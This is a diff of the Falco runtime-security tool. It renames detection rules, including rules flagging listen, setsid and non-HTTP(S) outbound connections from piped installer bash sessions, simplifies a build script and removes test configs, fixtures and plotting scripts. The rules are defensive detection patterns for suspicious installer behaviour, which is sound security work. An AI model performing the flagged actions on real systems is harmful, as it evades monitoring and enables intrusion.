-- rule: Installer bash starts network server
+- rule: installer_bash_starts_network_server
   desc: an attempt by a program in a pipe installer session to start listening for network connections
   condition: evt.type=listen and proc.sname=fbash
   output: "Unexpected listen call by a process in a fbash session (command=%proc.cmdline)"
   priority: WARNING
 
-- rule: Installer bash starts session
+- rule: installer_bash_starts_session
   desc: an attempt by a program in a pipe installer session to start a new session
   condition: evt.type=setsid and proc.sname=fbash
   output: "Unexpected setsid call by a process in fbash session (command=%proc.cmdline)"
   priority: WARNING
 
-- rule: Installer bash non https connection
+- rule: installer_bash_non_https_connection
   desc: an attempt by a program in a pipe installer session to make an outgoing connection on a non-http(s) port
-  condition: proc.sname=fbash and outbound and not fd.sport in (80, 443, 53)
+  condition: outbound and not fd.sport in (80, 443, 53) and proc.sname=fbash
   output: "Outbound connection on non-http(s) port by a process in a fbash session (command=%proc.cmdline connection=%fd.name)"
   priority: WARNING
 
@@ -380,7 +350,7 @@
 # Notice when processes try to run chkconfig/systemctl.... to install a service.
 # Note: this is not a WARNING, as you'd expect some service management
 # as a part of doing the installation.
-- rule: Installer bash manages service
+- rule: installer_bash_manages_service
   desc: an attempt by a program in a pipe installer session to manage a system service (systemd/chkconfig)
   condition: evt.type=execve and proc.name in (chkconfig, systemctl) and proc.sname=fbash
   output: "Service management program run by process in a fbash session (command=%proc.cmdline)"
@@ -389,9 +359,9 @@
 # Notice when processes try to run any package management binary within a fbash session.
 # Note: this is not a WARNING, as you'd expect some package management
 # as a part of doing the installation
-- rule: Installer bash runs pkgmgmt program
+- rule: installer_bash_runs_pkgmgmt
   desc: an attempt by a program in a pipe installer session to run a package management binary
-  condition: evt.type=execve and package_mgmt_procs and proc.sname=fbash
+  condition: evt.type=execve and package_mgmt_binaries and proc.sname=fbash
   output: "Package management program run by process in a fbash session (command=%proc.cmdline)"
   priority: INFO
 
@@ -414,13 +384,13 @@
 - macro: elasticsearch_port
   condition: elasticsearch_cluster_port or elasticsearch_api_port
 
-# - rule: Elasticsearch unexpected network inbound traffic
+# - rule: elasticsearch_unexpected_network_inbound
 #   desc: inbound network traffic to elasticsearch on a port other than the standard ports
 #   condition: user.name = elasticsearch and inbound and not elasticsearch_port
 #   output: "Inbound network traffic to Elasticsearch on unexpected port (connection=%fd.name)"
 #   priority: WARNING
 
-# - rule: Elasticsearch unexpected network outbound traffic
+# - rule: elasticsearch_unexpected_network_outbound
 #   desc: outbound network traffic from elasticsearch on a port other than the standard ports
 #   condition: user.name = elasticsearch and outbound and not elasticsearch_cluster_port
 #   output: "Outbound network traffic from Elasticsearch on unexpected port (connection=%fd.name)"
@@ -435,13 +405,13 @@
 - macro: activemq_port
   condition: activemq_web_port or activemq_cluster_port
 
-# - rule: Activemq unexpected network inbound traffic
+# - rule: activemq_unexpected_network_inbound
 #   desc: inbound network traffic to activemq on a port other than the standard ports
 #   condition: user.name = activemq and inbound and not activemq_port
 #   output: "Inbound network traffic to ActiveMQ on unexpected port (connection=%fd.name)"
 #   priority: WARNING
 
-# - rule: Activemq unexpected network outbound traffic
+# - rule: activemq_unexpected_network_outbound
 #   desc: outbound network traffic from activemq on a port other than the standard ports
 #   condition: user.name = activemq and outbound and not activemq_cluster_port
 #   output: "Outbound network traffic from ActiveMQ on unexpected port (connection=%fd.name)"
@@ -463,13 +433,13 @@
 - macro: cassandra_port
   condition: cassandra_thrift_client_port or cassandra_cql_port or cassandra_cluster_port or cassandra_ssl_cluster_port or cassandra_jmx_port
 
-# - rule: Cassandra unexpected network inbound traffic
+# - rule: cassandra_unexpected_network_inbound
 #   desc: inbound network traffic to cassandra on a port other than the standard ports
 #   condition: user.name = cassandra and inbound and not cassandra_port
 #   output: "Inbound network traffic to Cassandra on unexpected port (connection=%fd.name)"
 #   priority: WARNING
 
-# - rule: Cassandra unexpected network outbound traffic
+# - rule: cassandra_unexpected_network_outbound
 #   desc: outbound network traffic from cassandra on a port other than the standard ports
 #   condition: user.name = cassandra and outbound and not (cassandra_ssl_cluster_port or cassandra_cluster_port)
 #   output: "Outbound network traffic from Cassandra on unexpected port (connection=%fd.name)"
@@ -490,13 +460,13 @@
 - macro: fluentd_forward_port
   condition: fd.sport=24224
 
-# - rule: Fluentd unexpected network inbound traffic
+# - rule: fluentd_unexpected_network_inbound
 #   desc: inbound network traffic to fluentd on a port other than the standard ports
 #   condition: user.name = td-agent and inbound and not (fluentd_forward_port or fluentd_http_port)
 #   output: "Inbound network traffic to Fluentd on unexpected port (connection=%fd.name)"
 #   priority: WARNING
 
-# - rule: Tdagent unexpected network outbound traffic
+# - rule: tdagent_unexpected_network_outbound
 #   desc: outbound network traffic from fluentd on a port other than the standard ports
 #   condition: user.name = td-agent and outbound and not fluentd_forward_port
 #   output: "Outbound network traffic from Fluentd on unexpected port (connection=%fd.name)"
@@ -504,7 +474,7 @@
 
 # Gearman ports
 # http://gearman.org/protocol/
-# - rule: Gearman unexpected network outbound traffic
+# - rule: gearman_unexpected_network_outbound
 #   desc: outbound network traffic from gearman on a port other than the standard ports
 #   condition: user.name = gearman and outbound and outbound and not fd.sport = 4730
 #   output: "Outbound network traffic from Gearman on unexpected port (connection=%fd.name)"
@@ -515,20 +485,20 @@
   condition: fd.sport = 2181
 
 # Kafka ports
-# - rule: Kafka unexpected network inbound traffic
+# - rule: kafka_unexpected_network_inbound
 #   desc: inbound network traffic to kafka on a port other than the standard ports
 #   condition: user.name = kafka and inbound and fd.sport != 9092
 #   output: "Inbound network traffic to Kafka on unexpected port (connection=%fd.name)"
 #   priority: WARNING
 
 # Memcached ports
-# - rule: Memcached unexpected network inbound traffic
+# - rule: memcached_unexpected_network_inbound
 #   desc: inbound network traffic to memcached on a port other than the standard ports
 #   condition: user.name = memcached and inbound and fd.sport != 11211
 #   output: "Inbound network traffic to Memcached on unexpected port (connection=%fd.name)"
 #   priority: WARNING
 
-# - rule: Memcached unexpected network outbound traffic
+# - rule: memcached_network_outbound
 #   desc: any outbound network traffic from memcached. memcached never initiates outbound connections.
 #   condition: user.name = memcached and outbound
 #   output: "Unexpected Memcached outbound connection (connection=%fd.name)"
@@ -545,21 +515,21 @@
 - macro: mongodb_webserver_port
   condition: fd.sport = 28017
 
-# - rule: Mongodb unexpected network inbound traffic
+# - rule: mongodb_unexpected_network_inbound
 #   desc: inbound network traffic to mongodb on a port other than the standard ports
 #   condition: user.name = mongodb and inbound and not (mongodb_server_port or mongodb_shardserver_port or mongodb_configserver_port or mongodb_webserver_port)
 #   output: "Inbound network traffic to MongoDB on unexpected port (connection=%fd.name)"
 #   priority: WARNING
 
 # MySQL ports
-# - rule: Mysql unexpected network inbound traffic
+# - rule: mysql_unexpected_network_inbound
 #   desc: inbound network traffic to mysql on a port other than the standard ports
 #   condition: user.name = mysql and inbound and fd.sport != 3306
 #   output: "Inbound network traffic to MySQL on unexpected port (connection=%fd.name)"
 #   priority: WARNING
 
-# - rule: HTTP server unexpected network inbound traffic
+# - rule: http_server_unexpected_network_inbound
 #   desc: inbound network traffic to a http server program on a port other than the standard ports
-#   condition: proc.name in (http_server_binaries) and inbound and fd.sport != 80 and fd.sport != 443
+#   condition: http_server_binaries and inbound and fd.sport != 80 and fd.sport != 443
 #   output: "Inbound network traffic to HTTP Server on unexpected port (connection=%fd.name)"
 #   priority: WARNING

scripts/build-lpeg.sh

@@ -1,29 +1,17 @@
-#!/bin/bash
+#!/bin/sh
 
-set -ex
-
-PREFIX=$1
-
-if [ -z $PREFIX ]; then
-    PREFIX=.
-fi
-
-mkdir -p $PREFIX
-
-gcc -O2 -fPIC -I$LUA_INCLUDE -c lpcap.c -o $PREFIX/lpcap.o
-gcc -O2 -fPIC -I$LUA_INCLUDE -c lpcode.c -o $PREFIX/lpcode.o
-gcc -O2 -fPIC -I$LUA_INCLUDE -c lpprint.c -o $PREFIX/lpprint.o
-gcc -O2 -fPIC -I$LUA_INCLUDE -c lptree.c -o $PREFIX/lptree.o
-gcc -O2 -fPIC -I$LUA_INCLUDE -c lpvm.c -o $PREFIX/lpvm.o
+gcc -O2 -fPIC -I$LUA_INCLUDE -c lpcap.c -o lpcap.o
+gcc -O2 -fPIC -I$LUA_INCLUDE -c lpcode.c -o lpcode.o
+gcc -O2 -fPIC -I$LUA_INCLUDE -c lpprint.c -o lpprint.o
+gcc -O2 -fPIC -I$LUA_INCLUDE -c lptree.c -o lptree.o
+gcc -O2 -fPIC -I$LUA_INCLUDE -c lpvm.c -o lpvm.o
 
 
 # For building lpeg.so, which we don't need now that we're statically linking lpeg.a into falco
 #gcc -shared -o lpeg.so -L/usr/local/lib lpcap.o lpcode.o lpprint.o lptree.o lpvm.o
 #gcc -shared -o lpeg.so -L/usr/local/lib lpcap.o lpcode.o lpprint.o lptree.o lpvm.o
 
-pushd $PREFIX
 /usr/bin/ar cr lpeg.a lpcap.o lpcode.o lpprint.o lptree.o lpvm.o
 /usr/bin/ranlib lpeg.a
-popd
 
 chmod ug+w re.lua

test/confs/file_output.yaml

@@ -1,27 +0,0 @@
-# File containing Falco rules, loaded at startup.
-rules_file: /etc/falco_rules.yaml
-
-# Whether to output events in json or text
-json_output: false
-
-# Send information logs to stderr and/or syslog Note these are *not* security
-# notification logs! These are just Falco lifecycle (and possibly error) logs.
-log_stderr: false
-log_syslog: false
-
-# Where security notifications should go.
-# Multiple outputs can be enabled.
-
-syslog_output:
-  enabled: false
-
-file_output:
-  enabled: true
-  filename: /tmp/falco_outputs/file_output.txt
-
-stdout_output:
-  enabled: true
-
-program_output:
-  enabled: false
-  program: mail -s "Falco Notification" someone@example.com

test/confs/program_output.yaml

@@ -1,27 +0,0 @@
-# File containing Falco rules, loaded at startup.
-rules_file: /etc/falco_rules.yaml
-
-# Whether to output events in json or text
-json_output: false
-
-# Send information logs to stderr and/or syslog Note these are *not* security
-# notification logs! These are just Falco lifecycle (and possibly error) logs.
-log_stderr: false
-log_syslog: false
-
-# Where security notifications should go.
-# Multiple outputs can be enabled.
-
-syslog_output:
-  enabled: false
-
-file_output:
-  enabled: false
-  filename: ./output.txt
-
-stdout_output:
-  enabled: true
-
-program_output:
-  enabled: true
-  program: cat > /tmp/falco_outputs/program_output.txt

test/cpu_monitor.sh

@@ -1,9 +0,0 @@
-#!/bin/bash
-
-SUBJ_PID=$1
-BENCHMARK=$2
-VARIANT=$3
-RESULTS_FILE=$4
-CPU_INTERVAL=$5
-
-top -d $CPU_INTERVAL -b -p $SUBJ_PID | grep -E '(falco|sysdig|dragent)' --line-buffered | awk -v benchmark=$BENCHMARK -v variant=$VARIANT '{printf("{\"time\": \"%s\", \"sample\": %d, \"benchmark\": \"%s\", \"variant\": \"%s\", \"cpu_usage\": %s},\n", strftime("%Y-%m-%d %H:%M:%S", systime(), 1), NR, benchmark, variant, $9); fflush();}' >> $RESULTS_FILE

test/falco_test.py

@@ -3,7 +3,6 @@
 import os
 import re
 import json
-import sets
 
 from avocado import Test
 from avocado.utils import process
@@ -17,65 +16,13 @@ class FalcoTest(Test):
         """
         self.falcodir = self.params.get('falcodir', '/', default=os.path.join(self.basedir, '../build'))
 
-        self.should_detect = self.params.get('detect', '*', default=False)
+        self.should_detect = self.params.get('detect', '*')
         self.trace_file = self.params.get('trace_file', '*')
-
-        if not os.path.isabs(self.trace_file):
-            self.trace_file = os.path.join(self.basedir, self.trace_file)
-
-        self.json_output = self.params.get('json_output', '*', default=False)
-        self.rules_file = self.params.get('rules_file', '*', default=os.path.join(self.basedir, '../rules/falco_rules.yaml'))
-
-        if not isinstance(self.rules_file, list):
-            self.rules_file = [self.rules_file]
-
-        self.rules_args = ""
-
-        for file in self.rules_file:
-            if not os.path.isabs(file):
-                file = os.path.join(self.basedir, file)
-            self.rules_args = self.rules_args + "-r " + file + " "
-
-        self.conf_file = self.params.get('conf_file', '*', default=os.path.join(self.basedir, '../falco.yaml'))
-        if not os.path.isabs(self.conf_file):
-            self.conf_file = os.path.join(self.basedir, self.conf_file)
-
-        self.disabled_rules = self.params.get('disabled_rules', '*', default='')
-
-        if self.disabled_rules == '':
-            self.disabled_rules = []
-
-        if not isinstance(self.disabled_rules, list):
-            self.disabled_rules = [self.disabled_rules]
-
-        self.disabled_args = ""
-
-        for rule in self.disabled_rules:
-            self.disabled_args = self.disabled_args + "-D " + rule + " "
-
-        self.rules_warning = self.params.get('rules_warning', '*', default=False)
-        if self.rules_warning == False:
-            self.rules_warning = sets.Set()
-        else:
-            self.rules_warning = sets.Set(self.rules_warning)
-
-        # Maps from rule name to set of evttypes
-        self.rules_events = self.params.get('rules_events', '*', default=False)
-        if self.rules_events == False:
-            self.rules_events = {}
-        else:
-            events = {}
-            for item in self.rules_events:
-                for item2 in item:
-                    events[item2[0]] = sets.Set(item2[1])
-            self.rules_events = events
+        self.json_output = self.params.get('json_output', '*')
 
         if self.should_detect:
             self.detect_level = self.params.get('detect_level', '*')
 
-            if not isinstance(self.detect_level, list):
-                self.detect_level = [self.detect_level]
-
         # Doing this in 2 steps instead of simply using
         # module_is_loaded to avoid logging lsmod output to the log.
         lsmod_output = process.system_output("lsmod", verbose=False)
@@ -86,52 +33,21 @@ class FalcoTest(Test):
 
         self.str_variant = self.trace_file
 
-        self.outputs = self.params.get('outputs', '*', default='')
+    def test(self):
+        self.log.info("Trace file %s", self.trace_file)
 
-        if self.outputs == '':
-            self.outputs = {}
-        else:
-            outputs = []
-            for item in self.outputs:
-                for item2 in item:
-                    output = {}
-                    output['file'] = item2[0]
-                    output['line'] = item2[1]
-                    outputs.append(output)
-            self.outputs = outputs
+        # Run the provided trace file though falco
+        cmd = '{}/userspace/falco/falco -r {}/../rules/falco_rules.yaml -c {}/../falco.yaml -e {} -o json_output={}'.format(
+            self.falcodir, self.falcodir, self.falcodir, self.trace_file, self.json_output)
 
-    def check_rules_warnings(self, res):
+        self.falco_proc = process.SubProcess(cmd)
 
-        found_warning = sets.Set()
+        res = self.falco_proc.run(timeout=60, sig=9)
 
-        for match in re.finditer('Rule ([^:]+): warning \(([^)]+)\):', res.stderr):
-            rule = match.group(1)
-            warning = match.group(2)
-            found_warning.add(rule)
+        if res.exit_status != 0:
+            self.error("Falco command \"{}\" exited with non-zero return value {}".format(
+                cmd, res.exit_status))
 
-        self.log.debug("Expected warning rules: {}".format(self.rules_warning))
-        self.log.debug("Actual warning rules: {}".format(found_warning))
-
-        if found_warning != self.rules_warning:
-            self.fail("Expected rules with warnings {} does not match actual rules with warnings {}".format(self.rules_warning, found_warning))
-
-    def check_rules_events(self, res):
-
-        found_events = {}
-
-        for match in re.finditer('Event types for rule ([^:]+): (\S+)', res.stderr):
-            rule = match.group(1)
-            events = sets.Set(match.group(2).split(","))
-            found_events[rule] = events
-
-        self.log.debug("Expected events for rules: {}".format(self.rules_events))
-        self.log.debug("Actual events for rules: {}".format(found_events))
-
-        for rule in found_events.keys():
-            if found_events.get(rule) != self.rules_events.get(rule):
-                self.fail("rule {}: expected events {} differs from actual events {}".format(rule, self.rules_events.get(rule), found_events.get(rule)))
-
-    def check_detections(self, res):
         # Get the number of events detected.
         match = re.search('Events detected: (\d+)', res.stdout)
         if match is None:
@@ -146,36 +62,17 @@ class FalcoTest(Test):
             if events_detected == 0:
                 self.fail("Detected {} events when should have detected > 0".format(events_detected))
 
-            for level in self.detect_level:
-                level_line = '(?i){}: (\d+)'.format(level)
-                match = re.search(level_line, res.stdout)
+            level_line = '{}: (\d+)'.format(self.detect_level)
+            match = re.search(level_line, res.stdout)
 
-                if match is None:
-                    self.fail("Could not find a line '{}: <count>' in falco output".format(level))
+            if match is None:
+                self.fail("Could not find a line '{}: <count>' in falco output".format(self.detect_level))
 
-                    events_detected = int(match.group(1))
+            events_detected = int(match.group(1))
 
-                    if not events_detected > 0:
-                        self.fail("Detected {} events at level {} when should have detected > 0".format(events_detected, level))
+            if not events_detected > 0:
+                self.fail("Detected {} events at level {} when should have detected > 0".format(events_detected, self.detect_level))
 
-    def check_outputs(self):
-        for output in self.outputs:
-            # Open the provided file and match each line against the
-            # regex in line.
-            file = open(output['file'], 'r')
-            found = False
-            for line in file:
-                match = re.search(output['line'], line)
-
-                if match is not None:
-                    found = True
-
-            if found == False:
-                self.fail("Could not find a line '{}' in file '{}'".format(output['line'], output['file']))
-
-        return True
-
-    def check_json_output(self, res):
         if self.json_output:
             # Just verify that any lines starting with '{' are valid json objects.
             # Doesn't do any deep inspection of the contents.
@@ -185,28 +82,6 @@ class FalcoTest(Test):
                     for attr in ['time', 'rule', 'priority', 'output']:
                         if not attr in obj:
                             self.fail("Falco JSON object {} does not contain property \"{}\"".format(line, attr))
-
-    def test(self):
-        self.log.info("Trace file %s", self.trace_file)
-
-        # Run the provided trace file though falco
-        cmd = '{}/userspace/falco/falco {} {} -c {} -e {} -o json_output={} -v'.format(
-            self.falcodir, self.rules_args, self.disabled_args, self.conf_file, self.trace_file, self.json_output)
-
-        self.falco_proc = process.SubProcess(cmd)
-
-        res = self.falco_proc.run(timeout=180, sig=9)
-
-        if res.exit_status != 0:
-            self.error("Falco command \"{}\" exited with non-zero return value {}".format(
-                cmd, res.exit_status))
-
-        self.check_rules_warnings(res)
-        if len(self.rules_events) > 0:
-            self.check_rules_events(res)
-        self.check_detections(res)
-        self.check_json_output(res)
-        self.check_outputs()
         pass
 
 

test/falco_tests.yaml.in

@@ -1,140 +0,0 @@
-trace_files: !mux
-  builtin_rules_no_warnings:
-    detect: False
-    trace_file: trace_files/empty.scap
-    rules_warning: False
-
-  test_warnings:
-    detect: False
-    trace_file: trace_files/empty.scap
-    rules_file: rules/falco_rules_warnings.yaml
-    rules_warning:
-      - no_evttype
-      - evttype_not_equals
-      - leading_not
-      - not_equals_at_end
-      - not_at_end
-      - not_before_trailing_evttype
-      - not_equals_before_trailing_evttype
-      - not_equals_and_not
-      - not_equals_before_in
-      - not_before_in
-      - not_in_before_in
-      - leading_in_not_equals_before_evttype
-      - leading_in_not_equals_at_evttype
-      - not_with_evttypes
-      - not_with_evttypes_addl
-      - not_equals_before_evttype
-      - not_equals_before_in_evttype
-      - not_before_evttype
-      - not_before_evttype_using_in
-    rules_events:
-      - no_warnings: [execve]
-      - no_evttype: [all]
-      - evttype_not_equals: [all]
-      - leading_not: [all]
-      - not_equals_after_evttype: [execve]
-      - not_after_evttype: [execve]
-      - leading_trailing_evttypes: [execve,open]
-      - leading_multtrailing_evttypes: [connect,execve,open]
-      - leading_multtrailing_evttypes_using_in: [connect,execve,open]
-      - not_equals_at_end: [all]
-      - not_at_end: [all]
-      - not_before_trailing_evttype: [all]
-      - not_equals_before_trailing_evttype: [all]
-      - not_equals_and_not: [all]
-      - not_equals_before_in: [all]
-      - not_before_in: [all]
-      - not_in_before_in: [all]
-      - evttype_in: [execve,open]
-      - evttype_in_plus_trailing: [connect,execve,open]
-      - leading_in_not_equals_before_evttype: [all]
-      - leading_in_not_equals_at_evttype: [all]
-      - not_with_evttypes: [all]
-      - not_with_evttypes_addl: [all]
-      - not_equals_before_evttype: [all]
-      - not_equals_before_in_evttype: [all]
-      - not_before_evttype: [all]
-      - not_before_evttype_using_in: [all]
-      - repeated_evttypes: [open]
-      - repeated_evttypes_with_in: [open]
-      - repeated_evttypes_with_separate_in: [open]
-      - repeated_evttypes_with_mix: [open]
-
-  rule_names_with_spaces:
-    detect: True
-    detect_level: WARNING
-    rules_file:
-      - rules/rule_names_with_spaces.yaml
-    trace_file: trace_files/cat_write.scap
-
-  multiple_rules_first_empty:
-    detect: True
-    detect_level: WARNING
-    rules_file:
-      - rules/empty_rules.yaml
-      - rules/single_rule.yaml
-    trace_file: trace_files/cat_write.scap
-
-  multiple_rules_last_empty:
-    detect: True
-    detect_level: WARNING
-    rules_file:
-      - rules/single_rule.yaml
-      - rules/empty_rules.yaml
-    trace_file: trace_files/cat_write.scap
-
-  multiple_rules:
-    detect: True
-    detect_level:
-      - WARNING
-      - INFO
-      - ERROR
-    rules_file:
-      - rules/single_rule.yaml
-      - rules/double_rule.yaml
-    trace_file: trace_files/cat_write.scap
-
-  disabled_rules:
-    detect: False
-    rules_file:
-      - rules/empty_rules.yaml
-      - rules/single_rule.yaml
-    disabled_rules:
-      - open_from_cat
-    trace_file: trace_files/cat_write.scap
-
-  disabled_rules_using_regex:
-    detect: False
-    rules_file:
-      - rules/empty_rules.yaml
-      - rules/single_rule.yaml
-    disabled_rules:
-      - "open.*"
-    trace_file: trace_files/cat_write.scap
-
-  disabled_rules_using_enabled_flag:
-    detect: False
-    rules_file:
-      - rules/single_rule_enabled_flag.yaml
-    trace_file: trace_files/cat_write.scap
-
-  file_output:
-    detect: True
-    detect_level: WARNING
-    rules_file:
-      - rules/single_rule.yaml
-    conf_file: confs/file_output.yaml
-    trace_file: trace_files/cat_write.scap
-    outputs:
-      - /tmp/falco_outputs/file_output.txt: Warning An open was seen
-
-  program_output:
-    detect: True
-    detect_level: WARNING
-    rules_file:
-      - rules/single_rule.yaml
-    conf_file: confs/program_output.yaml
-    trace_file: trace_files/cat_write.scap
-    outputs:
-      - /tmp/falco_outputs/program_output.txt: Warning An open was seen

test/plot-live.r

@@ -1,40 +0,0 @@
-require(jsonlite)
-library(ggplot2)
-library(GetoptLong)
-
-initial.options <- commandArgs(trailingOnly = FALSE)
-file.arg.name <- "--file="
-script.name <- sub(file.arg.name, "", initial.options[grep(file.arg.name, initial.options)])
-script.basename <- dirname(script.name)
-
-if (substr(script.basename, 1, 1) != '/') {
-    script.basename = paste(getwd(), script.basename, sep='/')
-}
-
-results = paste(script.basename, "results.json", sep='/')
-output = "./output.png"
-
-GetoptLong(
-    "results=s", "Path to results file",
-    "benchmark=s", "Benchmark from results file to graph",
-    "variant=s@", "Variant(s) to include in graph. Can be specified multiple times",
-    "output=s", "Output graph file"
-)
-
-res <- fromJSON(results, flatten=TRUE)
-
-res2 = res[res$benchmark == benchmark & res$variant %in% variant,]
-
-plot <- ggplot(data=res2, aes(x=sample, y=cpu_usage, group=variant, colour=variant)) +
-    geom_line() +
-    ylab("CPU Usage (%)") +
-    xlab("Time") +
-    ggtitle(sprintf("Falco/Sysdig CPU Usage: %s", benchmark))
-    theme(legend.position=c(.2, .88));
-
-print(paste("Writing graph to", output, sep=" "))
-ggsave(file=output)
-
-
-
-

test/plot-traces.r

@@ -1,35 +0,0 @@
-require(jsonlite)
-library(ggplot2)
-library(reshape)
-
-res <- fromJSON("/home/mstemm/results.txt", flatten=TRUE)
-
-plot <- ggplot(data=res, aes(x=config, y=elapsed.real)) +
-    geom_bar(stat = "summary", fun.y = "mean") +
-    coord_flip() +
-    facet_grid(shortfile ~ .) +
-    ylab("Wall Clock Time (sec)") +
-    xlab("Trace File/Program")
-
-
-ggsave(file="/mnt/sf_mstemm/res-real.png")
-
-plot <- ggplot(data=res, aes(x=config, y=elapsed.user)) +
-    geom_bar(stat = "summary", fun.y = "mean") +
-    coord_flip() +
-    facet_grid(shortfile ~ .) +
-    ylab("User Time (sec)") +
-    xlab("Trace File/Program")
-
-
-ggsave(file="/mnt/sf_mstemm/res-user.png")
-
-res2 <- melt(res, id.vars = c("config", "shortfile"), measure.vars = c("elapsed.sys", "elapsed.user"))
-plot <- ggplot(data=res2, aes(x=config, y=value, fill=variable, order=variable)) +
-     geom_bar(stat = "summary", fun.y = "mean") +
-     coord_flip() +
-     facet_grid(shortfile ~ .) +
-     ylab("User/System Time (sec)") +
-     xlab("Trace File/Program")
-
-ggsave(file="/mnt/sf_mstemm/res-sys-user.png")

test/rules/double_rule.yaml

@@ -1,13 +0,0 @@
-# This ruleset depends on the is_cat macro defined in single_rule.yaml
-
-- rule: exec_from_cat
-  desc: A process named cat does execve
-  condition: evt.type=execve and is_cat
-  output: "An exec was seen (command=%proc.cmdline)"
-  priority: ERROR
-
-- rule: access_from_cat
-  desc: A process named cat does an access
-  condition: evt.type=access and is_cat
-  output: "An access was seen (command=%proc.cmdline)"
-  priority: INFO

test/rules/falco_rules_warnings.yaml

@@ -1,186 +0,0 @@
-- rule: no_warnings
-  desc: Rule with no warnings
-  condition: evt.type=execve
-  output: "None"
-  priority: WARNING
-
-- rule: no_evttype
-  desc: No evttype at all
-  condition: proc.name=foo
-  output: "None"
-  priority: WARNING
-
-- rule: evttype_not_equals
-  desc: Using != for event type
-  condition: evt.type!=execve
-  output: "None"
-  priority: WARNING
-
-- rule: leading_not
-  desc: condition starts with not
-  condition: not evt.type=execve
-  output: "None"
-  priority: WARNING
-
-- rule: not_equals_after_evttype
-  desc: != after evt.type, not affecting results
-  condition: evt.type=execve and proc.name!=foo
-  output: "None"
-  priority: WARNING
-
-- rule: not_after_evttype
-  desc: not operator after evt.type, not affecting results
-  condition: evt.type=execve and not proc.name=foo
-  output: "None"
-  priority: WARNING
-
-- rule: leading_trailing_evttypes
-  desc: evttype at beginning and end
-  condition: evt.type=execve and proc.name=foo or evt.type=open
-  output: "None"
-  priority: WARNING
-
-- rule: leading_multtrailing_evttypes
-  desc: one evttype at beginning, multiple at end
-  condition: evt.type=execve and proc.name=foo or evt.type=open or evt.type=connect
-  output: "None"
-  priority: WARNING
-
-- rule: leading_multtrailing_evttypes_using_in
-  desc: one evttype at beginning, multiple at end, using in
-  condition: evt.type=execve and proc.name=foo or evt.type in (open, connect)
-  output: "None"
-  priority: WARNING
-
-- rule: not_equals_at_end
-  desc: not_equals at final evttype
-  condition: evt.type=execve and proc.name=foo or evt.type=open or evt.type!=connect
-  output: "None"
-  priority: WARNING
-
-- rule: not_at_end
-  desc: not operator for final evttype
-  condition: evt.type=execve and proc.name=foo or evt.type=open or not evt.type=connect
-  output: "None"
-  priority: WARNING
-
-- rule: not_before_trailing_evttype
-  desc: a not before a trailing event type
-  condition: evt.type=execve and not proc.name=foo or evt.type=open
-  output: "None"
-  priority: WARNING
-
-- rule: not_equals_before_trailing_evttype
-  desc: a != before a trailing event type
-  condition: evt.type=execve and proc.name!=foo or evt.type=open
-  output: "None"
-  priority: WARNING
-
-- rule: not_equals_and_not
-  desc: both != and not before event types
-  condition: evt.type=execve and proc.name!=foo or evt.type=open or not evt.type=connect
-  output: "None"
-  priority: WARNING
-
-- rule: not_equals_before_in
-  desc: != before an in with event types
-  condition: evt.type=execve and proc.name!=foo or evt.type in (open, connect)
-  output: "None"
-  priority: WARNING
-
-- rule: not_before_in
-  desc: a not before an in with event types
-  condition: evt.type=execve and not proc.name=foo or evt.type in (open, connect)
-  output: "None"
-  priority: WARNING
-
-- rule: not_in_before_in
-  desc: a not with in before an in with event types
-  condition: evt.type=execve and not proc.name in (foo, bar) or evt.type in (open, connect)
-  output: "None"
-  priority: WARNING
-
-- rule: evttype_in
-  desc: using in for event types
-  condition: evt.type in (execve, open)
-  output: "None"
-  priority: WARNING
-
-- rule: evttype_in_plus_trailing
-  desc: using in for event types and a trailing evttype
-  condition: evt.type in (execve, open) and proc.name=foo or evt.type=connect
-  output: "None"
-  priority: WARNING
-
-- rule: leading_in_not_equals_before_evttype
-  desc: initial in() for event types, then a != before an additional event type
-  condition: evt.type in (execve, open) and proc.name!=foo or evt.type=connect
-  output: "None"
-  priority: WARNING
-
-- rule: leading_in_not_equals_at_evttype
-  desc: initial in() for event types, then a != with an additional event type
-  condition: evt.type in (execve, open) or evt.type!=connect
-  output: "None"
-  priority: WARNING
-
-- rule: not_with_evttypes
-  desc: not in for event types
-  condition: not evt.type in (execve, open)
-  output: "None"
-  priority: WARNING
-
-- rule: not_with_evttypes_addl
-  desc: not in for event types, and an additional event type
-  condition: not evt.type in (execve, open) or evt.type=connect
-  output: "None"
-  priority: WARNING
-
-- rule: not_equals_before_evttype
-  desc: != before any event type
-  condition: proc.name!=foo and evt.type=execve
-  output: "None"
-  priority: WARNING
-
-- rule: not_equals_before_in_evttype
-  desc: != before any event type using in
-  condition: proc.name!=foo and evt.type in (execve, open)
-  output: "None"
-  priority: WARNING
-
-- rule: not_before_evttype
-  desc: not operator before any event type
-  condition: not proc.name=foo and evt.type=execve
-  output: "None"
-  priority: WARNING
-
-- rule: not_before_evttype_using_in
-  desc: not operator before any event type using in
-  condition: not proc.name=foo and evt.type in (execve, open)
-  output: "None"
-  priority: WARNING
-
-- rule: repeated_evttypes
-  desc: event types appearing multiple times
-  condition: evt.type=open or evt.type=open
-  output: "None"
-  priority: WARNING
-
-- rule: repeated_evttypes_with_in
-  desc: event types appearing multiple times with in
-  condition: evt.type in (open, open)
-  output: "None"
-  priority: WARNING
-
-- rule: repeated_evttypes_with_separate_in
-  desc: event types appearing multiple times with separate ins
-  condition: evt.type in (open) or evt.type in (open, open)
-  output: "None"
-  priority: WARNING
-
-- rule: repeated_evttypes_with_mix
-  desc: event types appearing multiple times with mix of = and in
-  condition: evt.type=open or evt.type in (open, open)
-  output: "None"
-  priority: WARNING
-

test/rules/rule_names_with_spaces.yaml

@@ -1,8 +0,0 @@
-- macro: is_cat
-  condition: proc.name=cat
-
-- rule: Open From Cat
-  desc: A process named cat does an open
-  condition: evt.type=open and is_cat
-  output: "An open was seen (command=%proc.cmdline)"
-  priority: WARNING

test/rules/single_rule.yaml

@@ -1,8 +0,0 @@
-- macro: is_cat
-  condition: proc.name=cat
-
-- rule: open_from_cat
-  desc: A process named cat does an open
-  condition: evt.type=open and is_cat
-  output: "An open was seen (command=%proc.cmdline)"
-  priority: WARNING

test/rules/single_rule_enabled_flag.yaml

@@ -1,9 +0,0 @@
-- macro: is_cat
-  condition: proc.name=cat
-
-- rule: open_from_cat
-  desc: A process named cat does an open
-  condition: evt.type=open and is_cat
-  output: "An open was seen (command=%proc.cmdline)"
-  priority: WARNING
-  enabled: false

test/run_performance_tests.sh

@@ -1,391 +0,0 @@
-#!/bin/bash
-
-#set -x
-
-trap "cleanup; exit" SIGHUP SIGINT SIGTERM
-
-function download_trace_files() {
-
